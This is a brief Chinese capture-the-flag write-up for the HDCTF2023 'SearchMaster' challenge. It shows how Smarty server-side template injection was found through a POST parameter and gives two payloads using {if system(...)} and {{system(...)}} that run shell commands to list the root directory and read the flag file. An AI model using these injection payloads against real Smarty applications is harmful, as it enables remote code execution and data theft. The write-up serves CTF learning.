HDCTF2023-SearchMaster-wp

题目链接

页面提示 模板都一样我很抱歉OVO BUT YOU CAN POST ME A data

post data对应回显

1
2
3
4
5
6
7
data=1   1;

data={2*2}   4;	# 明显SSTI模板注入

data={config} 
Fatal error: Uncaught --> Smarty Compiler: Syntax error in template "string:<!doctype html> <html lang="en" class="n..." on line 19 "<p>{config}</p>" unknown tag 'config' <-- thrown in /var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php on line 19
# 发现是smarty插件

{$smarty.version}可以看到smarty的版本号

两种方式实现代码执行

1
2
data={if system('ls /;cat /flag_13_searchmaster')}{/if}	# 法一
data={{system('ls /;cat /flag_13_searchmaster')}}	# 法二
本博客采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议(CC BY-NC-SA 4.0) 发布.
⬆︎TOP